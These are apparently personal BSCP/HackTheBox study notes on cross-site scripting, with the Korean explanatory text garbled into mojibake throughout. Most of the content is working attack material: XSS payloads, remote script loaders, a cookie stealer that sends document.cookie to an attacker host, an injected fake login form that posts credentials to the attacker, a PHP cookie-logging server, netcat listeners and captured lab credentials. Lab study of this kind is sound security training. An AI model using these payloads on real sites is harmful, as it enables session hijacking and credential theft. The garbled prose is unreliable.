XSS
XSS(๊ต์ฐจ ์ฌ์ดํธ ์คํฌ๋ฆฝํ
)
Burp Suite Certified Practitioner (BSCP) XSS์ ๋ํ ๋์ ์ฐ๊ตฌ ๋ ธํธ
๋ช
๋ น
์ํธ
์ค๋ช
XSS ํ์ด๋ก๋
<script>alert(window.origin)</script>
๊ธฐ๋ณธ XSS ํ์ด๋ก๋ XSS ํ ์คํธ ํ์ด๋ก๋
<script>alert(document.cookie)</script>
ํ๋๊ทธ๋ฅผ ์ป์ผ๋ ค๋ฉด ์์์ ์ฌ์ฉํ ๊ฒ๊ณผ ๋์ผํ ํ์ด๋ก๋๋ฅผ ์ฌ์ฉํ๋, URL์ ํ์ํ๋ ๋์ ์ฟ ํค๋ฅผ ํ์ํ๋๋ก JavaScript ์ฝ๋๋ฅผ ๋ณ๊ฒฝํ์ธ์.
<plaintext>
๊ธฐ๋ณธ XSS ํ์ด๋ก๋
http://94.237.62.82:55501/index.php?task=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
๋ฐฑ์๋ ์๋ฒ์์ ์ฒ๋ฆฌ๋๋ ๋ฐ์ฌ XSS์ ํด๋ผ์ด์ธํธ ์ธก์์ ์์ ํ ์ฒ๋ฆฌ๋๊ณ ๋ฐฑ์๋ ์๋ฒ์ ๋๋ฌํ์ง ์๋ DOM ๊ธฐ๋ฐ XSS์ ๋๋ค.
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);
<script>print()</script>
๊ธฐ๋ณธ XSS ํ์ด๋ก๋
<img src="" onerror=alert(window.origin)>
HTML ๊ธฐ๋ฐ XSS ํ์ด๋ก๋
<img src="" onerror=alert(document.cookie)>
<script>document.body.style.background = "#141d2b"</script>
๋ฐฐ๊ฒฝ์ ๋ณ๊ฒฝ
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>
๋ฐฐ๊ฒฝ ์ด๋ฏธ์ง ๋ณ๊ฒฝ
<script>document.title = 'HackTheBox Academy'</script>
์น์ฌ์ดํธ ์ ๋ชฉ ๋ณ๊ฒฝ
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>
์น์ฌ์ดํธ ๋ณธ๋ฌธ ๋ฎ์ด์ฐ๊ธฐ
<script>document.getElementById('urlform').remove();</script>
ํน์ HTML ์์ ์ ๊ฑฐ
<script src="http://OUR_IP/script.js"></script>
์๊ฒฉ ์คํฌ๋ฆฝํธ ๋ก๋
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>
์ฐ๋ฆฌ์๊ฒ ์ฟ ํค ์ธ๋ถ ์ ๋ณด ๋ณด๋ด๊ธฐ
๋ช ๋ น
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
xsstrike
URL ๋งค๊ฐ๋ณ์๋ก ์คํ
sudo nc -lvnp 80
netcat
๋ฆฌ์ค๋ ์์
sudo php -S 0.0.0.0:80
PHP
ํผํด์๊ฐ ๊ณต๊ฒฉ์๋ก๋ถํฐ ์๊ฒฉ ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ ์ ์๋๋ก ์๋ฒ๋ฅผ ์์ํฉ๋๋ค .
XSS ์๋ณ
XSS๋ฅผ ์๋ณํ๊ธฐ ์ํ ๋ณดํธ ๊ธฐ๋ฅ์ด ์๋ ๋์์ ๋ํ ๊ฐ๋จํ ํ ์คํธ ํ์ด๋ก๋: XSS ๊ฒ์
<script>alert('pass')</script>
ํผ์ฑ + XSS
์๋ฒ์ '/phishing'์ ์๋ ์ด๋ฏธ์ง URL ํ์์ ๋ํด ์๋ํ๋ XSS ํ์ด๋ก๋๋ฅผ ์ฐพ์๋ณด์ธ์
http://10.129.63.83/phishing/index.php
. ๊ทธ๋ฐ ๋ค์ ์ด ์น์ ์์ ๋ฐฐ์ด ๋ด์ฉ์ ์ฌ์ฉํ์ฌ ์ ์ฑ ๋ก๊ทธ์ธ ์์์ ์ฝ์ ํ๋ ์ ์ฑ URL์ ์ค๋นํ์ธ์. ๊ทธ๋ฐ ๋ค์ '/phishing/send.php'๋ฅผ ๋ฐฉ๋ฌธํ์ฌ ํผํด์์๊ฒ URL์ ๋ณด๋ ๋๋ค. ํผํด์ ์ฌ์ฉ์๋ ์ ์ฑ ๋ก๊ทธ์ธ ์์์ผ๋ก ๋ก๊ทธ์ธํ๊ฒ ๋ฉ๋๋ค. ๋ชจ๋ ์์ ์ ์ฌ๋ฐ๋ฅด๊ฒ ์ํํ๋ค๋ฉด ํผํด์์ ๋ก๊ทธ์ธ ์๊ฒฉ ์ฆ๋ช ์ ๋ฐ์์ผ ํฉ๋๋ค. ํ๋ํ ํผํด์ ๋ก๊ทธ์ธ์ ์ฌ์ฉํ์ฌ '/phishing/login.php'์ ์ ๊ทผํ๊ณ ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์.
์๋ ์์ค ์ฝ๋์์ ํ์ธ๋ XSS ์ฃผ์ ์ง์ :
์๋์์๋
'>
์์ค ์ฝ๋ img ํ๊ทธ๋ฅผ ๋ถ๋ฆฌํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
http://10.129.63.83/phishing/index.php?url=http://10.10.15.41/image.png'><script>alert('xss found')</script>
๋ก๊ทธ์ธ ํผ ์ธ์ ์ ํผ์ฑ ๊ณต๊ฒฉ
<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>
์๋ฅผ ์ฌ์ฉํ์ฌ ๋จ์ผ JavaScript ์ฟ ํค ์คํธ๋ฌ๋ฅผ ํ ์ค๋ก ๋ง๋ญ๋๋ค.
document.write('<h3>Please login to continue</h3><form action=http://10.10.15.41><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
ํผํด์๊ฐ ๋ก๊ทธ์ธํ๊ณ ๋์ ์๊ฒฉ ์ฆ๋ช ์ ์ ๊ณตํ๋๋ก ๋์ ๊ธฐ๋ฅ ์ ๋ ฅ ์์๋ฅผ ์ ๊ฑฐํฉ๋๋ค. ์์ค ์ฝ๋์์ ์ ๊ฑฐํด์ผ ํ HTML ์์๋ ID์ ๋๋ค
urlform
.
document.getElementById('urlform').remove();
์์ ์ ๊ฑฐ ๊ธฐ๋ฅ์ ๋จ์ผ ์จ๋ผ์ธ ํ์ด๋ก๋์ ๊ฒฐํฉํฉ๋๋ค.
<script>
document.write('<h3>Please login to continue</h3><form action=http://10.10.15.41><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
</script>
<!--
Exploit์ ์ฌ์ฉํ์ฌ ํผ์ฑ ๋งํฌ URL์ ํผํด์์๊ฒ ๋ณด๋ ๋๋ค:
http://10.129.63.83/phishing/send.php
.
๋งํฌ๊ฐ ์ ์ก๋๋ฉด kali ํธ์คํ
python3 -m http.server 80
์๋น์ค๋ ๋งํฌ๋ฅผ ํด๋ฆญํ๊ณ ์ ๋ณด๋ฅผ ์ ๋ ฅํ ํผํด์๋ก๋ถํฐ ์๊ฒฉ ์ฆ๋ช ์ ๋ฐ์ต๋๋ค.
username=admin&password=p1zd0nt57341myp455
์ฟ ํค ๋๋
BSCP ์ฐ๊ตฌ ๋ ธํธ์๋ ์ฟ ํค ์คํธ๋ฌ ํ์ด๋ก๋ ์ ๋ง์ ์๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.
์ฟ ํค ์คํธ๋ฌ(Cookie Stealer) ๊ณต๊ฒฉ์ด๋ผ๊ณ ๋ ๋ถ๋ฆฌ๋ ์ธ์ ํ์ด์ฌํน(Session Hijacking) ์ ๋๋ค.
๋์ URL:
http://10.129.63.83/hijacking/
๋์ ์๋ต ๋ฉ์์ง๋ฅผ ์ฝ์์ต๋๋ค
An Admin will review your registration request.
.
์ํ ์๋ฐ์คํฌ๋ฆฝํธ ํ์ด๋ก๋๋ก ์ทจ์ฝํ ์ ๋ ฅ ํ๋๋ฅผ ์๋ณํฉ๋๋ค.
<script src="http://OUR_IP/username"></script>
์๊ฒฉ JS ํ์ผ ํฌํจ
์๋ ํ์ด๋ก๋๋ฅผ ์ฌ์ฉํ์ฌ ์๊ฒฉ JavaScript ํ์ผ์ ์ด์ค์ผ์ดํํ๊ณ ๋ก๋ํ๋ ๋ฐฉ๋ฒ์ ํ ์คํธํฉ๋๋ค .
<script src=http://10.10.15.41/1></script>
'><script src=http://10.10.15.41/2></script>
"><script src=http://10.10.15.41/3></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
์ด ํ์ด๋ก๋๊ฐ ํฌํจ๋ URL ํ๋๋ฅผ ์ฑ๊ณต์ ์ผ๋ก ์๋ณํ์ต๋๋ค:
"><script src=http://10.10.15.41/exploit.js></script>
, ์๊ฒฉ ์คํฌ๋ฆฝํธ ๋ก๋ ์ค.
์ธ์ ํ์ด์ฌํน ๊ณต๊ฒฉ์ ํผ์ฑ ๊ณต๊ฒฉ๊ณผ ์ ์ฌํฉ๋๋ค. ๊ณต๊ฒฉ์์๊ฒ ํ์ํ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ ค๋ฉด JavaScript ํ์ด๋ก๋๊ฐ ํ์ํ๊ณ , ์ ์ก๋ ๋ฐ์ดํฐ๋ฅผ ์บก์ฒํ๊ณ ๊ตฌ๋ฌธ ๋ถ์ํ๋ ค๋ฉด ๊ณต๊ฒฉ ํธ์คํธ์์ ํธ์คํ ๋๋ PHP ์คํฌ๋ฆฝํธ๊ฐ ํ์ํฉ๋๋ค.
์ฟ ํค ์คํธ๋ฌ ์ค์
php -S 0.0.0.0:80
Kali๋ ๋ค์ ๋ ํ์ผ์ ์ฌ์ฉํ์ฌ PHP ์๋ฒ๋ฅผ ํธ์คํ ํฉ๋๋ค .
์์ค ์ฝ๋
exploit.js
:
// document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://10.10.15.41/index.php?c='+document.cookie;
๋ค์์ ๋ํ PHP ์์ค ์ฝ๋ index.php
:
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
Burp Suite ํ์ด๋ก๋๋ฅผ ๋ณด๋ด๊ณ ๊ด๋ฆฌ์๊ฐ ๋งค๊ฐ
imgurl=
๋ณ์์ ์ ์ฅ๋ XSS ์ฟ ํค ์คํธ๋ฌ ํ์ด๋ก๋๊ฐ ํฌํจ๋ ํ์ด์ง ๋ฑ๋ก์ ๊ฒํ ํ ๋๊น์ง ๊ธฐ๋ค๋ฆฝ๋๋ค.
๊ณต๊ฒฉ์ ์คํํ๊ณ PHP ์ต์คํ๋ก์ ์๋น์ค๊ฐ ๊ด๋ฆฌ์ ์ฟ ํค ๊ฐ์ ์์ ํ ๋๊น์ง ๊ธฐ๋ค๋ฆฝ๋๋ค.
๋๋๋นํ ์ฟ ํค ๊ฐ์ ์์ ํ์ฌ
cookies.txt
ํ์ผ์ ์ ์ฅํฉ๋๋ค.
Victim IP: 10.129.34.48 | Cookie: cookie=c00k1355h0u1d8353cu23d
๊ทธ๋ฐ ๋ค์ ์ ์ฅ๋ ์ฟ ํค ๊ฐ์ ๋ธ๋ผ์ฐ์ ์ธ์ ์ ์ฌ์ฉํ์ฌ
http://victim.htb/login.php
์ก์ธ์คํ์ธ์.
XSS ๊ธฐ์ ํ๊ฐ
ํ๊ฐ ๋ธ๋ก๊ทธ์ ๋๊ธ์ ๊ฒ์ํ๋ฉด ๋ฉ์์ง๊ฐ ์์ต๋๋ค
Your comment is awaiting moderation.
.
์ฐธ์กฐ: PayloadALLTheThings XSS ์ฃผ์
๋ธ๋ผ์ธ๋ XSS ๊ฐ์ง
๋ธ๋ผ์ธ๋ XSS ์ทจ์ฝ์ ์ ์ฐ๋ฆฌ๊ฐ ์ก์ธ์คํ ์ ์๋ ํ์ด์ง์์ ์ทจ์ฝ์ ์ด ํธ๋ฆฌ๊ฑฐ๋ ๋ ๋ฐ์ํฉ๋๋ค.
Blind XSS๋ฅผ ์๋ณํ๊ธฐ ์ํ ํ์ด๋ก๋ ํ ์คํธ - ์๊ฒฉ ์คํฌ๋ฆฝํธ ๋ก๋:
<script src=http://10.10.15.41></script>
'><script src=http://10.10.15.41></script>
"><script src=http://10.10.15.41></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://10.10.15.41\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//10.10.15.41");a.send();</script>
<script>$.getScript("http://10.10.15.41")</script>
์ฑ๊ณต์ ์ธ ํ์ด๋ก๋๋ ๋ค์๊ณผ ๊ฐ์ด ์๋ณ๋ฉ๋๋ค.
'><script src=http://10.10.15.41></script>
์ธ์
ํ์ด์ฌํน
์๊ฒฉ ๊ณต๊ฒฉ JavaScript ์คํฌ๋ฆฝํธ ํ์ด๋ก๋๋ฅผ ๋ก๋ํฉ๋๋ค. ์ธ์ ํ์ด์ฌํน
'><script src=http://10.10.15.41/exploit.js></script>
๊ด๋ฆฌ์ ์ค์ฌ์์ ์ฟ ํค๋ฅผ ํ์น๊ธฐ ์ํด ๋ธ๋ผ์ธ๋ XSS ์ฃผ์ ์ ์ ์ถํฉ๋๋ค.
์ฟ ํค ์คํธ๋ฌ๋ 'ํ๋๊ทธ' ์ฟ ํค์ ๊ฐ์ ํ๋ํ์ต๋๋ค.
๋๋๋นํ ์ฟ ํค์ ๊ฒฐ๊ณผ๋ ํ์ผ์ ์ ์ฅ๋ฉ๋๋ค
cat cookies.txt
.
Last updated